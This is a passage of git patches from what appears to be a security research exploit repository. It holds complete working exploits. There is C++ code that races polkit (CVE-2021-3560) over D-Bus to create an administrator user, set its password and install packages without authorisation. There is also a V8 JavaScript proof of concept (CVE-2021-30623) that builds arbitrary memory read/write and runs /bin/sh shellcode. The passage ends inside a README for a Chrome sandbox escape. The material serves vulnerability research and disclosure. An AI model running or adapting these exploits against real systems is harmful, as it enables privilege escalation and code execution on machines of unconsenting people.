+  const char* filename,
+  const char* username
+) {
+  DBusSocket fd(uid, filename);
+  try {
+    send_accountsservice_FindUserByName(fd.get(), username, 1001);
+  } catch(Error&) {
+    return false;
+  }
+  return true;
+}
+
+static void send_accountsservice_CreateUser(
+  const int fd,
+  const char* username,
+  const uint32_t serialNumber
+) {
+  dbus_method_call(
+    fd,
+    serialNumber,
+    DBusMessageBody::mk(
+      _vec<std::unique_ptr<DBusObject>>(
+        DBusObjectString::mk(_s(username)),
+        DBusObjectString::mk(_s(username)),
+        DBusObjectInt32::mk(1)
+      )
+    ),
+    _s("/org/freedesktop/Accounts"),
+    _s("org.freedesktop.Accounts"),
+    _s("org.freedesktop.Accounts"),
+    _s("CreateUser")
+  );
+}
+
+// Record the amount of time it takes to get a response from the
+// CreateUser method. The response will be an error because
+// it will be denied by polkit. This response time gives us an upper
+// bound on how long we need to wait before disconnecting when we
+// attempt to trigger the bug.
+static long record_time_CreateUser(
+  const uid_t uid, const char* filename, const char* username
+) {
+  DBusSocket fd(uid, filename);
+
+  // Start a timer.
+  timespec starttime;
+  clock_gettime(CLOCK_MONOTONIC, &starttime);
+
+  send_accountsservice_CreateUser(fd.get(), username, 1001);
+  receive_dbus_message(fd.get());
+
+  // Stop the timer.
+  timespec endtime;
+  clock_gettime(CLOCK_MONOTONIC, &endtime);
+
+  // Calculate the time difference.
+  long diff =
+    (1000000000 * (endtime.tv_sec - starttime.tv_sec)) +
+    (endtime.tv_nsec - starttime.tv_nsec);
+
+  return diff;
+}
+
+// This function calls the CreateUser method, but doesn't wait for the
+// reply. Instead it disconnects from D-Bus after the specified number of
+// nanoseconds. If we get lucky with the timing of the delay, it will
+// hopefully trigger the bug and bypass polkit.
+static void attempt_CreateUser_with_disconnect(
+  const uid_t uid,
+  const char* filename,
+  const char* username,
+  const long delay
+) {
+  DBusSocket fd(uid, filename);
+
+  timespec duration;
+  duration.tv_sec = delay / 1000000000;
+  duration.tv_nsec = delay % 1000000000;
+
+  send_accountsservice_CreateUser(fd.get(), username, 1001);
+  clock_nanosleep(CLOCK_MONOTONIC, 0, &duration, 0);
+
+  // Returning from this function automatically disconnects us from D-Bus
+  // because DBusSocket's destructor closes the file descriptor.
+}
+
+// Keep trying `attempt_CreateUser_with_disconnect` with different
+// delay values until the exploit succeeds (or we decide to give up).
+static std::string exploit_CreateUser(
+  const uid_t uid,
+  const char* filename,
+  const char* username
+) {
+  // First measure how long a regular CreateUser method call takes.
+  const long elapsed =
+    record_time_CreateUser(uid, filename, username);
+  printf("Elapsed time: %ld nanoseconds\n", elapsed);
+
+  // Random number generator which will generate random
+  // pause times in the range 0 .. 2*elapsed.
+  std::random_device rd;
+  std::mt19937 gen(rd());
+  std::uniform_int_distribution<long> distrib(0, 2*elapsed);
+
+  // If it doesn't succeed after 1000 attempts then it probably
+  // isn't going to work.
+  for (size_t i = 0; i < 1000; i++) {
+    const long delay = distrib(gen);
+    attempt_CreateUser_with_disconnect(uid, filename, username, delay);
+    try {
+      // Check if the username has been created.
+      std::string userpath = lookup_username(uid, filename, username);
+      printf(
+        "Successfully created %s after %ld iterations,\n"
+        "with a delay value of %ld nanoseconds\n",
+        userpath.c_str(), i, delay
+      );
+      return userpath;
+    } catch (Error&) {
+      // Keep going.
+    }
+  }
+
+  throw Error("Failed to create new user account.");
+}
+
+static void send_accountsservice_SetPassword(
+  const int fd,
+  const char* userpath,
+  const char* password,
+  const uint32_t serialNumber
+) {
+  dbus_method_call(
+    fd,
+    serialNumber,
+    DBusMessageBody::mk(
+      _vec<std::unique_ptr<DBusObject>>(
+        DBusObjectString::mk(_s(password)),
+        DBusObjectString::mk(_s(passwordhint))
+      )
+    ),
+    _s(userpath),
+    _s("org.freedesktop.Accounts.User"),
+    _s("org.freedesktop.Accounts"),
+    _s("SetPassword")
+  );
+}
+
+// Useful for determining if we have successfully set the password.
+// If the password is set, then the hint will be set too.
+static std::string send_accountsservice_GetPasswordHint(
+  const int fd,
+  const char* userpath,
+  const uint32_t serialNumber
+) {
+  dbus_method_call(
+    fd,
+    serialNumber,
+    DBusMessageBody::mk(
+      _vec<std::unique_ptr<DBusObject>>(
+        DBusObjectString::mk(_s("org.freedesktop.Accounts.User")),
+        DBusObjectString::mk(_s("PasswordHint"))
+      )
+    ),
+    _s(userpath),
+    _s("org.freedesktop.DBus.Properties"),
+    _s("org.freedesktop.Accounts"),
+    _s("Get")
+  );
+
+  std::unique_ptr<DBusMessage> reply = receive_dbus_message(fd);
+
+  if (reply->getHeader_messageType() != MSGTYPE_METHOD_RETURN) {
+    throw Error("GetPasswordHint returned an error.");
+  }
+
+  return reply->getBody().getElement(0)->toVariant().getValue()->toString().getValue();
+}
+
+static bool has_passwordhint(
+  const uid_t uid,
+  const char* filename,
+  const char* userpath
+) {
+  DBusSocket fd(uid, filename);
+  std::string hint =
+    send_accountsservice_GetPasswordHint(fd.get(), userpath, 1001);
+  return strcmp(hint.c_str(), passwordhint) == 0;
+}
+
+// Record the amount of time it takes to get a response from the
+// SetPassword method. The response will be an error because
+// it will be denied by polkit. This response time gives us an upper
+// bound on how long we need to wait before disconnecting when we
+// attempt to trigger the bug.
+static long record_time_SetPassword(
+  const uid_t uid,
+  const char* filename,
+  const char* userpath,
+  const char* password
+) {
+  DBusSocket fd(uid, filename);
+
+  // Start a timer.
+  timespec starttime;
+  clock_gettime(CLOCK_MONOTONIC, &starttime);
+
+  send_accountsservice_SetPassword(fd.get(), userpath, password, 1001);
+  receive_dbus_message(fd.get());
+
+  // Stop the timer.
+  timespec endtime;
+  clock_gettime(CLOCK_MONOTONIC, &endtime);
+
+  // Calculate the time difference.
+  long diff =
+    (1000000000 * (endtime.tv_sec - starttime.tv_sec)) +
+    (endtime.tv_nsec - starttime.tv_nsec);
+
+  return diff;
+}
+
+// This function calls the SetPassword method, but doesn't wait for the
+// reply. Instead it disconnects from D-Bus after the specified number of
+// nanoseconds. If we get lucky with the timing of the delay, it will
+// hopefully trigger the bug and bypass polkit.
+static void attempt_SetPassword_with_disconnect(
+  const uid_t uid,
+  const char* filename,
+  const char* userpath,
+  const char* password,
+  const long delay
+) {
+  DBusSocket fd(uid, filename);
+
+  timespec duration;
+  duration.tv_sec = delay / 1000000000;
+  duration.tv_nsec = delay % 1000000000;
+
+  send_accountsservice_SetPassword(fd.get(), userpath, password, 1001);
+  clock_nanosleep(CLOCK_MONOTONIC, 0, &duration, 0);
+
+  // Returning from this function automatically disconnects us from D-Bus
+  // because DBusSocket's destructor closes the file descriptor.
+}
+
+// Keep trying `attempt_SetPassword_with_disconnect` with different
+// delay values until the exploit succeeds (or we decide to give up).
+static void exploit_SetPassword(
+  const uid_t uid,
+  const char* filename,
+  const char* userpath,
+  const char* password
+) {
+  // First measure how long a regular SetPassword method call takes.
+  const long elapsed =
+    record_time_SetPassword(uid, filename, userpath, password);
+  printf("Elapsed time: %ld nanoseconds\n", elapsed);
+
+  // Random number generator which will generate random
+  // pause times in the range 0 .. 2*elapsed.
+  std::random_device rd;
+  std::mt19937 gen(rd());
+  std::uniform_int_distribution<long> distrib(0, 2*elapsed);
+
+  // If it doesn't succeed after 1000 attempts then it probably
+  // isn't going to work.
+  for (size_t i = 0; i < 1000; i++) {
+    const long delay = distrib(gen);
+    attempt_SetPassword_with_disconnect(uid, filename, userpath, password, delay);
+    if (has_passwordhint(uid, filename, userpath)) {
+      printf("Success!\n");
+      return;
+    }
+  }
+
+  throw Error("Failed to create new user account.");
+}
+
+int main(int argc, char* argv[]) {
+  const char* progname = argc > 0 ? argv[0] : "a.out";
+  if (argc != 4) {
+    fprintf(
+      stderr,
+      "usage:   %s <unix socket path> <username> <password>\n"
+      "example: %s /var/run/dbus/system_bus_socket boris iaminvincible\n",
+      progname,
+      progname
+    );
+    return EXIT_FAILURE;
+  }
+
+  const uid_t uid = getuid();
+  const char* filename = argv[1];
+  const char* username = argv[2];
+  const char* passphrase = argv[3];
+
+  // Convert the passphrase to a hash.
+  char salt[CRYPT_GENSALT_OUTPUT_SIZE] = {};
+  struct crypt_data cryptdata = {};
+  crypt_gensalt_rn("$6$", 0, 0, 0, salt, sizeof(salt));
+  crypt_r(passphrase, salt, &cryptdata);
+  const char* password = cryptdata.output;
+
+  if (username_exists(uid, filename, username)) {
+    fprintf(
+      stderr,
+      "Error: username %s already exists.\n"
+      "Please try again with a different username.\n",
+      username
+    );
+    return EXIT_FAILURE;
+  }
+
+  std::string userpath = exploit_CreateUser(uid, filename, username);
+  exploit_SetPassword(uid, filename, userpath.c_str(), password);
+
+  return EXIT_SUCCESS;
+}
diff --git a/SecurityExploits/polkit/authentication_bypass_CVE-2021-3560/installpackage.cpp b/SecurityExploits/polkit/authentication_bypass_CVE-2021-3560/installpackage.cpp
new file mode 100644
index 0000000..ce44bca
--- /dev/null
+++ b/SecurityExploits/polkit/authentication_bypass_CVE-2021-3560/installpackage.cpp
@@ -0,0 +1,346 @@
+#include "dbus_utils.hpp"
+#include "dbus_auth.hpp"
+#include "parse.hpp"
+#include "utils.hpp"
+#include <sys/types.h>
+#include <sys/socket.h>
+#include <sys/stat.h>
+#include <sys/un.h>
+#include <crypt.h>
+#include <errno.h>
+#include <spawn.h>
+#include <signal.h>
+#include <string.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <unistd.h>
+#include <fcntl.h>
+#include <cstdint>
+#include <functional>
+#include <memory>
+#include <random>
+#include <utility>
+#include <assert.h>
+
+class DBusSocket : public AutoCloseFD {
+public:
+  DBusSocket(const uid_t uid, const char* filename) :
+    AutoCloseFD(socket(AF_UNIX, SOCK_STREAM, 0))
+  {
+    if (get() < 0) {
+      throw ErrorWithErrno("Could not create socket");
+    }
+
+    sockaddr_un address;
+    memset(&address, 0, sizeof(address));
+    address.sun_family = AF_UNIX;
+    strcpy(address.sun_path, filename);
+
+    if (connect(get(), (sockaddr*)(&address), sizeof(address)) < 0) {
+      throw ErrorWithErrno("Could not connect socket");
+    }
+
+    dbus_sendauth(uid, get());
+
+    dbus_send_hello(get());
+    std::unique_ptr<DBusMessage> hello_reply1 = receive_dbus_message(get());
+    std::string name = hello_reply1->getBody().getElement(0)->toString().getValue();
+    std::unique_ptr<DBusMessage> hello_reply2 = receive_dbus_message(get());
+  }
+};
+
+static void send_AddMatch(
+  const int fd,
+  const char* objectpath,
+  const char* member,
+  const uint32_t serialNumber
+) {
+  dbus_method_call(
+    fd,
+    serialNumber,
+    DBusMessageBody::mk1(
+      DBusObjectString::mk(
+        _s("type='signal',sender='org.freedesktop.PackageKit',") +
+        _s("path='") + _s(objectpath) +
+        _s("',member='") + _s(member) + "'"
+      )
+    ),
+    _s("/org/freedesktop/DBus"),
+    _s("org.freedesktop.DBus"),
+    _s("org.freedesktop.DBus"),
+    _s("AddMatch")
+  );
+
+  std::unique_ptr<DBusMessage> reply = receive_dbus_message(fd);
+  if (reply->getHeader_messageType() != MSGTYPE_METHOD_RETURN) {
+    throw Error("AddMatch returned an error.");
+  }
+}
+
+static std::string send_PackageKit_CreateTransaction(
+  const int fd,
+  const uint32_t serialNumber
+) {
+  dbus_method_call(
+    fd,
+    serialNumber,
+    DBusMessageBody::mk0(),
+    _s("/org/freedesktop/PackageKit"),
+    _s("org.freedesktop.PackageKit"),
+    _s("org.freedesktop.PackageKit"),
+    _s("CreateTransaction")
+  );
+
+  std::unique_ptr<DBusMessage> reply = receive_dbus_message(fd);
+
+  if (reply->getHeader_messageType() != MSGTYPE_METHOD_RETURN) {
+    throw Error("FindUserByName returned an error.");
+  }
+
+  return reply->getBody().getElement(0)->toPath().getValue();
+}
+
+void send_PackageKit_InstallPackage(
+  const int fd,
+  const char* objectpath,
+  const char* packagename,
+  const uint32_t serialNumber
+) {
+  dbus_method_call(
+    fd,
+    serialNumber,
+    DBusMessageBody::mk(
+      _vec<std::unique_ptr<DBusObject>>(
+        DBusObjectUint64::mk(0x2),
+        DBusObjectArray::mk1(
+          _vec<std::unique_ptr<DBusObject>>(
+            DBusObjectString::mk(_s(packagename))
+          )
+        )
+      )
+    ),
+    _s(objectpath),
+    _s("org.freedesktop.PackageKit.Transaction"),
+    _s("org.freedesktop.PackageKit"),
+    _s("InstallPackages")
+  );
+}
+
+static void send_PackageKit_SearchName(
+  const int fd,
+  const char* objectpath,
+  const char* packagename,
+  const uint32_t serialNumber
+) {
+  dbus_method_call(
+    fd,
+    serialNumber,
+    DBusMessageBody::mk(
+      _vec<std::unique_ptr<DBusObject>>(
+        DBusObjectUint64::mk(0),
+        DBusObjectArray::mk1(
+          _vec<std::unique_ptr<DBusObject>>(
+            DBusObjectString::mk(_s(packagename))
+          )
+        )
+      )
+    ),
+    _s(objectpath),
+    _s("org.freedesktop.PackageKit.Transaction"),
+    _s("org.freedesktop.PackageKit"),
+    _s("SearchNames")
+  );
+}
+
+// Most of the PackageKit methods take a "package_id" as an argument. This
+// is an example of a package_id:
+//
+//   bash;5.1-2ubuntu1;amd64;installed:ubuntu-hirsute-main
+//
+// This function calls the "SearchName" method to find the correct
+// package_id for the package that we want to install. The SearchName
+// method is a bit annoying to use because it uses signals to reply. So we
+// have to use "AddMatch" to intercept the reply.
+static std::string lookup_package_id(
+  const uid_t uid,
+  const char* socket_filename,
+  const char* packagename,
+  bool* is_installed // out parameter
+) {
+  DBusSocket fd(uid, socket_filename);
+
+  *is_installed = false;
+
+  std::string transaction_id =
+    send_PackageKit_CreateTransaction(fd.get(), 1001);
+  printf("lookup_package_id: transaction_id = %s\n", transaction_id.c_str());
+
+  // Add listeners for the "Package" and "Finished" signals.
+  send_AddMatch(fd.get(), transaction_id.c_str(), "Package", 1002);
+  send_AddMatch(fd.get(), transaction_id.c_str(), "Finished", 1002);
+
+  // Call the method.
+  send_PackageKit_SearchName(fd.get(), transaction_id.c_str(), packagename, 1003);
+
+  // Loop until we receive the "Package" signal or the "Finished" signal.
+  while (true) {
+    std::unique_ptr<DBusMessage> signal = receive_dbus_message(fd.get());
+
+    if (signal->getHeader_messageType() == MSGTYPE_METHOD_RETURN) {
+      // Ignore. The SearchName method sends a reply containing no
+      // useful information.
+    } else if (signal->getHeader_messageType() == MSGTYPE_SIGNAL) {
+      const char* member =
+        signal->getHeader_lookupField(MSGHDR_MEMBER).getValue()->toString().getValue().c_str();
+      if (strcmp(member, "Package") == 0) {
+        const char* package_id =
+          signal->getBody().getElement(1)->toString().getValue().c_str();
+        printf("package_id: %s\n", package_id);
+        const size_t packagename_len = strlen(packagename);
+        if (strncmp(packagename, package_id, packagename_len) == 0) {
+          if (package_id[packagename_len] == ';') {
+            uint32_t info = signal->getBody().getElement(0)->toUint32().getValue();
+            if (info == 1) {
+              *is_installed = true;
+            }
+            return _s(package_id);
+          }
+        }
+      } else if (strcmp(member, "Finished") == 0) {
+        throw Error("lookup_package_id failed: package not found");
+      } else {
+        throw Error("lookup_package_id failed: unexpected signal type");
+      }
+    } else {
+      throw Error("lookup_package_id failed: unexpected message type");
+    }
+  }
+}
+
+// Record the amount of time it takes to get a response from the
+// InstallPackage method. The response will be an error because
+// it will be denied by polkit. This response time gives us an upper
+// bound on how long we need to wait before disconnecting when we
+// attempt to trigger the bug.
+static long record_time_InstallPackage(
+  const uid_t uid,
+  const char* socket_filename,
+  const char* package_id
+) {
+  DBusSocket fd(uid, socket_filename);
+
+  std::string transaction_id =
+    send_PackageKit_CreateTransaction(fd.get(), 1001);
+  printf("record_time_InstallPackage: transaction_id = %s\n", transaction_id.c_str());
+
+  // Start a timer.
+  timespec starttime;
+  clock_gettime(CLOCK_MONOTONIC, &starttime);
+
+  send_PackageKit_InstallPackage(fd.get(), transaction_id.c_str(), package_id, 1003);
+  std::unique_ptr<DBusMessage> reply = receive_dbus_message(fd.get());
+
+  // Stop the timer.
+  timespec endtime;
+  clock_gettime(CLOCK_MONOTONIC, &endtime);
+
+  // Calculate the time difference.
+  long diff =
+    (1000000000 * (endtime.tv_sec - starttime.tv_sec)) +
+    (endtime.tv_nsec - starttime.tv_nsec);
+
+  return diff;
+}
+
+// This function calls the InstallPackage method, but doesn't wait for the
+// reply. Instead it disconnects from D-Bus after the specified number of
+// nanoseconds. If we get lucky with the timing of the delay, it will
+// hopefully trigger the bug and bypass polkit.
+static void attempt_InstallPackage_with_disconnect(
+  const uid_t uid,
+  const char* socket_filename,
+  const char* package_id,
+  const long delay
+) {
+  DBusSocket fd(uid, socket_filename);
+
+  std::string transaction_id =
+    send_PackageKit_CreateTransaction(fd.get(), 1001);
+  printf("attempt_InstallPackage_with_disconnect: transaction_id = %s\n", transaction_id.c_str());
+
+  timespec duration;
+  duration.tv_sec = delay / 1000000000;
+  duration.tv_nsec = delay % 1000000000;
+
+  send_PackageKit_InstallPackage(fd.get(), transaction_id.c_str(), package_id, 1003);
+  clock_nanosleep(CLOCK_MONOTONIC, 0, &duration, 0);
+
+  // Returning from this function automatically disconnects us from D-Bus
+  // because DBusSocket's destructor closes the file descriptor.
+}
+
+// Keep trying `attempt_InstallPackage_with_disconnect` with different
+// delay values until the exploit succeeds (or we decide to give up).
+static void exploit_InstallPackage(
+  const uid_t uid,
+  const char* socket_filename,
+  const char* packagename
+) {
+  bool is_installed = false;
+  std::string package_id =
+    lookup_package_id(uid, socket_filename, packagename, &is_installed);
+  if (is_installed) {
+    printf("Package %s is already installed.\n", packagename);
+    return;
+  }
+
+  // First measure how long a regular CreateUser method call takes.
+  const long elapsed =
+    record_time_InstallPackage(uid, socket_filename, package_id.c_str());
+  printf("Elapsed time: %ld nanoseconds\n", elapsed);
+
+  // Random number generator which will generate random
+  // pause times in the range 0 .. 2*elapsed.
+  std::random_device rd;
+  std::mt19937 gen(rd());
+  std::uniform_int_distribution<long> distrib(0, 2*elapsed);
+
+  // If it doesn't succeed after 1000 attempts then it probably
+  // isn't going to work.
+  for (size_t i = 0; i < 1000; i++) {
+    const long delay = distrib(gen);
+    attempt_InstallPackage_with_disconnect(uid, socket_filename, package_id.c_str(), delay);
+
+    // Check if the package has been installed.
+    bool is_installed = false;
+    lookup_package_id(uid, socket_filename, packagename, &is_installed);
+    if (is_installed) {
+      printf("Success!\n");
+      return;
+    }
+  }
+
+  throw Error("Failed to install package.");
+}
+
+int main(int argc, char* argv[]) {
+  const char* progname = argc > 0 ? argv[0] : "a.out";
+  if (argc != 3) {
+    fprintf(
+      stderr,
+      "usage:   %s <unix socket path> <package name>\n"
+      "example: %s /var/run/dbus/system_bus_socket gnome-control-center\n",
+      progname,
+      progname
+    );
+    return EXIT_FAILURE;
+  }
+
+  const uid_t uid = getuid();
+  const char* socket_filename = argv[1];
+  const char* packagename = argv[2];
+
+  exploit_InstallPackage(uid, socket_filename, packagename);
+
+  return EXIT_SUCCESS;
+}

From 8d05d80328eb510a9eb2e8564b3b67810a76183c Mon Sep 17 00:00:00 2001
From: Man Yue Mo <m-y-mo@github.com>
Date: Tue, 21 Sep 2021 15:31:03 +0100
Subject: [PATCH 043/104] Initial commit.

---
 .../Chrome/v8/CVE-2021-30623/README.md        |  61 ++++++++++
 .../Chrome/v8/CVE-2021-30623/poc.js           | 112 ++++++++++++++++++
 2 files changed, 173 insertions(+)
 create mode 100644 SecurityExploits/Chrome/v8/CVE-2021-30623/README.md
 create mode 100644 SecurityExploits/Chrome/v8/CVE-2021-30623/poc.js

diff --git a/SecurityExploits/Chrome/v8/CVE-2021-30623/README.md b/SecurityExploits/Chrome/v8/CVE-2021-30623/README.md
new file mode 100644
index 0000000..421f8a0
--- /dev/null
+++ b/SecurityExploits/Chrome/v8/CVE-2021-30623/README.md
@@ -0,0 +1,61 @@
+## Chrome in-the-wild bug CVE-2021-30623
+
+The analysis of this bug can be found [here](https://securitylab.github.com/research/in_the_wild_chrome_cve_2021_30623). This is a Chrome bug that is reported by an anonymous researcher and was believed to be exploited in the wild.
+
+The exploit here is tested on `v8` version 9.3.345.16 (commit `632e6e7`), which is the version shipped with Chrome 93.0.4577.63, the one before the bug is fixed, on Ubuntu 20.04. I have not tested it on Chrome itself.
+
+To test, check out `v8` at commit `632e6e7` and compile with the default settings using `tools/dev/gm.py x64.release`. Then open the file `poc.js` with `d8`:
+
+```
+./d8 poc.js
+```
+
+On Ubuntu 20.04, it should call `execve("/bin/sh")` to spawn a new process:
+
+```
+./d8 poc.js
+instance: 81d42dd
+elements: 804abd9
+rwx page address: 22c70c88b000
+intArray addr: 8105d79
+intBackingStore: 56498ceb25e0
+$
+```
+
+Shell code may need changing on other platforms.
+
+The exploit is very reliable, however, when testing, I notice that some offsets appear to be sensitive to small changes in the file (even adding comments may cause problem), which would cause the exploit to fail. This only happens when the file is modified and usually manifest itself with some garbage values of the addresses, for example:
+
+```
+instance: 81d42dd
+elements: 800222d
+rwx page address: 3ff199999999999a
+intArray addr: 81067e1
+intBackingStore: 3ff199999999999a
+```
+
+In the above, address of `rwx page` and `initBackingStore` are clearly incorrect. The root cause seems to be an incorrect `elements` store value. (`800222d` is not a valid value) This can usually be fixed by changing the following lines regarding the address of elements:
+
+```
+function arbRead(addr) {
+  [elements, addr1] = ftoi32(addrs[1]);  //<---- change this to [addr1, elements] = ftoi32(addrs[1]);
+  oobWrite(i32tof(addr,addr1));          //<---- change to   oobWrite(i32tof(addr1,addr));
+  return writeArr[0];
+}
+...
+function writeShellCode(rwxAddr, shellArr) {
+  var intArr = new Uint8Array(400);
+  var intArrAddr = addrOf(intArr);
+  console.log("intArray addr: " + intArrAddr.toString(16));
+  var intBackingStore = ftoi(arbRead(intArrAddr + 0x20));
+  console.log("intBackingStore: " + ftoi(arbRead(intArrAddr + 0x20)).toString(16));
+
+  [elements, addr1] = ftoi32(addrs[1]);              //<------ change this to [addr1, elements] = ftoi32(addrs[1]);
+  oobWrite(i32tof(intArrAddr + 0x20, addr1));        //<------ change this to oobWrite(i32tof(addr1, intArrAddr + 0x20));
+  ...
+}
+...
+var elementsAddr = ftoi32(addrs[1])[0];             //<------- change this to var elementsAddr = ftoi32(addrs[1])[1];
+```
+
+This, however, does not affect the reliability of the exploit as the offsets are stable as long as the file is fixed, but it may cause issues the poc is modified. I do not know what causes this, but the exploit can probably be made more robust against this by matching pattern in memory instead of relying on fixed offsets.
diff --git a/SecurityExploits/Chrome/v8/CVE-2021-30623/poc.js b/SecurityExploits/Chrome/v8/CVE-2021-30623/poc.js
new file mode 100644
index 0000000..e17dde5
--- /dev/null
+++ b/SecurityExploits/Chrome/v8/CVE-2021-30623/poc.js
@@ -0,0 +1,112 @@
+var code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);
+var module = new WebAssembly.Module(code);
+var instance = new WebAssembly.Instance(module);
+var main = instance.exports.main;
+
+function foo(y) {
+  x = y;
+}
+
+function oobRead() {
+  //addrOf b[0] and addrOf writeArr::elements
+  return [x[20],x[24]];
+}
+
+function oobWrite(addr) {
+  x[24] = addr;
+}
+
+var arr0 = new Array(10); arr0.fill(1);arr0.a = 1;
+var arr1 = new Array(10); arr1.fill(2);arr1.a = 1;
+var arr2 = new Array(10); arr2.fill(3); arr2.a = 1;
+
+var x = arr0;
+
+var arr = new Array(30); arr.fill(4); arr.a = 1;
+var b = new Array(1); b.fill(1);
+var writeArr = [1.1];
+
+for (let i = 0; i < 19321; i++) {
+  if (i == 19319) arr2[0] = 1.1;
+  foo(arr1);
+}
+
+x[0] = 1.1;
+
+for (let i = 0; i < 20000; i++) {
+  oobRead();
+}
+
+for (let i = 0; i < 20000; i++) oobWrite(1.1);
+foo(arr);
+
+var view = new ArrayBuffer(24);
+var dblArr = new Float64Array(view);
+var intView = new Int32Array(view);
+var bigIntView = new BigInt64Array(view);
+b[0] = instance;
+var addrs = oobRead();
+
+function ftoi32(f) {
+  dblArr[0] = f;
+  return [intView[0], intView[1]];
+}
+
+function i32tof(i1, i2) {
+  intView[0] = i1;
+  intView[1] = i2;
+  return dblArr[0];
+}
+
+function itof(i) {
+  bigIntView = BigInt(i);
+  return dblArr[0];
+}
+
+function ftoi(f) {
+  dblArr[0] = f;
+  return bigIntView[0];
+}
+
+
+dblArr[0] = addrs[0];
+dblArr[1] = addrs[1];
+
+function addrOf(obj) {
+  b[0] = obj;
+  let addrs = oobRead();
+  dblArr[0] = addrs[0];
+  return intView[1]; 
+}
+
+function arbRead(addr) {
+  [elements, addr1] = ftoi32(addrs[1]);
+  oobWrite(i32tof(addr,addr1));
+  return writeArr[0];
+}
+
+function writeShellCode(rwxAddr, shellArr) {
+  var intArr = new Uint8Array(400);
+  var intArrAddr = addrOf(intArr);
+  console.log("intArray addr: " + intArrAddr.toString(16));
+  var intBackingStore = ftoi(arbRead(intArrAddr + 0x20));
+  console.log("intBackingStore: " + ftoi(arbRead(intArrAddr + 0x20)).toString(16));
+
+  [elements, addr1] = ftoi32(addrs[1]);
+  oobWrite(i32tof(intArrAddr + 0x20, addr1));
+  writeArr[0] = rwxAddr;
+  for (let i = 0; i < shellArr.length; i++) {
+    intArr[i] = shellArr[i];
+  }
+}
+
+var instanceAddr = addrOf(instance);
+var elementsAddr = ftoi32(addrs[1])[0];
+console.log("instance: " + instanceAddr.toString(16));
+console.log("elements: " + elementsAddr.toString(16));
+var rwxAddr = arbRead(instanceAddr + 0x60);
+console.log("rwx page address: " + ftoi(rwxAddr).toString(16));
+var shellCode = [0x31, 0xf6, 0x31, 0xd2, 0x31, 0xc0, 0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x2f, 0x73, 0x68, 0x56, 0x53, 0x54, 0x5f, 0xb8, 0x3b, 0, 0, 0, 0xf, 0x5];
+
+writeShellCode(rwxAddr, shellCode);
+main();

From 158db46ebb43613d64a73360373f6780f04204ba Mon Sep 17 00:00:00 2001
From: Man Yue Mo <m-y-mo@github.com>
Date: Tue, 21 Sep 2021 16:21:50 +0100
Subject: [PATCH 044/104] Initial commit.

---
 .../SandboxEscape/CVE-2021-30528/README.md    |  27 +++
 .../CVE-2021-30528/aarch64/README.md          |  47 ++++
 .../aarch64/arm64_renderer.patch              | 213 ++++++++++++++++++
 .../CVE-2021-30528/aarch64/browser.patch      |  28 +++
 .../CVE-2021-30528/aarch64/trigger.html       |  14 ++
 .../CVE-2021-30528/aarch64/trigger2_64.html   |  81 +++++++
 .../CVE-2021-30528/arm/README.md              |  49 ++++
 .../CVE-2021-30528/arm/arm_renderer.patch     | 201 +++++++++++++++++
 .../CVE-2021-30528/arm/browser.patch          |  28 +++
 .../CVE-2021-30528/arm/trigger.html           |  14 ++
 .../CVE-2021-30528/arm/trigger2_88.html       |  72 ++++++
 .../CVE-2021-30528/copy_mojo_js_bindings.py   |  20 ++
 12 files changed, 794 insertions(+)
 create mode 100644 SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/README.md
 create mode 100644 SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/aarch64/README.md
 create mode 100644 SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/aarch64/arm64_renderer.patch
 create mode 100644 SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/aarch64/browser.patch
 create mode 100644 SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/aarch64/trigger.html
 create mode 100644 SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/aarch64/trigger2_64.html
 create mode 100644 SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/arm/README.md
 create mode 100644 SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/arm/arm_renderer.patch
 create mode 100644 SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/arm/browser.patch
 create mode 100644 SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/arm/trigger.html
 create mode 100644 SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/arm/trigger2_88.html
 create mode 100644 SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/copy_mojo_js_bindings.py

diff --git a/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/README.md b/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/README.md
new file mode 100644
index 0000000..bb58e55
--- /dev/null
+++ b/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/README.md
@@ -0,0 +1,27 @@
+## Chrome Sandbox Escape CVE-2021-30528
+
+The write up can be found [here](https://securitylab.github.com/research/chrome_sbx_java). This is a bug Chrome I reported in May 2021. The GitHub Advisory can be found [here](https://securitylab.github.com/advisories/GHSL-2021-124-chrome) and the Chrome issue Chrome Issue [here](https://bugs.chromium.org/p/chromium/issues/detail?1206329). The bug can be used to escape the Chrome sandbox from a compromised renderer.
+
+Two exploits are included, one for the 64 bit version 90.0.4430.91 and the other is for the 32 bit version 88.0.4324.181. The build configs are in the corresponding sub directories.
+
+To test, follow the instructions for the corresponding versions to build the binary, then install the resulting apks (under `out/<target>/apks`) on the phone using `adb`, then enable the `MojoJS` feature to simulate a compromised renderer:
+
+1. Enable `Enable command line on non-rooted devices` from `chrome://flags`
+2. Create a file in `/data/local/tmp/chrome-command-line` in the phone and then add `chrome --enable-blink-features=MojoJS` to the file
+3. Force stop Chrome and restart
+
+As explained in the [write up](https://securitylab.github.com/research/chrome_sbx_java), this bug requires a credit card to be stored in the user account. To simulate the behaviour locally, a patch is applied to the browser side code to treat a local card as a remote card. This still requires a credit card to store on the tested device as a payment method. I do not recommend using real card details for this purpose. For testing, the following steps can be used:
+
